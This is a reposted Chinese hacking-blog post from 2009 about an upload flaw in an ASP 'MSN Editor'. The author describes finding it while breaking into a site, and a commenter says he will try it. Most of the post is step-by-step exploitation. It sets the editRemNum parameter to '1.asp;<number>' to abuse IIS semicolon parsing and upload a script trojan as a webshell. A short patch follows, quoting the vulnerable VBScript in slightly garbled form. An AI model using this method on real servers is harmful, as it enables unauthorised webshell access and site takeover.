MSN Editor 漏洞 (转)

Posted in Oday by admin on 11-29-2009.
友情提示:点击图片可查看全屏图片哦~

msn
这个编辑器相当的简陋,下午拿站的时候碰到了一个,没有数据库备份,也没有什么可以直接上传webshell的地方,简陋到只有一个editor的界面。

简单说下利用的方法吧。
点击图片上传后会出现上传页面,地址为

http://www.xxx.cn/admin/uploadPic.asp?language=&editImageNum=0&editRemNum=

用普通的图片上传后,地址为

http://www.xxx.cn/news/uppic/41513102009204012_1.gif

记住这时候的路径

在点击图片的上传,这时候地址就变成了

http://www.xxx.cn/news/admin/uploadPic.asp?language=&editImageNum=1&editRemNum=41513102009204012

很明显。图片的地址是根据RemNum后面的编号生成的。

利用很简单 配合IIS的解析漏洞,把RemNum后面的数据修改为1.asp;41513102009204012

变成下面这个地址

http://www.xxx.cn/admin/uploadPic.asp?language=&editImageNum=0&editRemNum=1.asp;41513102009204012

然后在浏览器里打开

然后选择你的脚本木马上传

将会返回下面的地址
uppic/1.asp;41513102009204012_2.gif

然后直接打开就是我们的小马地址!

加上修补方法!

by:想你挡挡闯墙

关键代码:

if editRemNum<>”" then
remNum = editRemNum
else
Randomize
remNum = Int((999 – 1 + 1) * Rnd + 1)&day(date)&month(date)&year(date)&hour(time)&minute(time)&second(time)
end if
remFileName = remNum&”_”&(editImageNum+1)&”.gif”
end if

哎,先不讲解了 。

去掉自定义部分,只留下随即参数即可。

保留代码:

Randomize
remNum = Int((999 – 1 + 1) * Rnd + 1)&day(date)&month(date)&year(date)&hour(time)&minute(time)&second(time)
end if
remFileName = remNum&”_”&(editImageNum+1)&”.gif”


请保留版权链接:http://www.alxston.com/post/708.html

看看下面有你感兴趣的文章吗?

One Response to “MSN Editor 漏洞 (转)”

» You can leave a response or Trackback .

  1. 第三眼 Says:

    这方法好,试试去 :mrgreen:

Leave a Reply

:wink: :-| :-x :twisted: :) 8-O :( :roll: :-P :oops: :-o :mrgreen: :lol: :idea: :-D :evil: :cry: 8) :arrow: :-? :?: :!: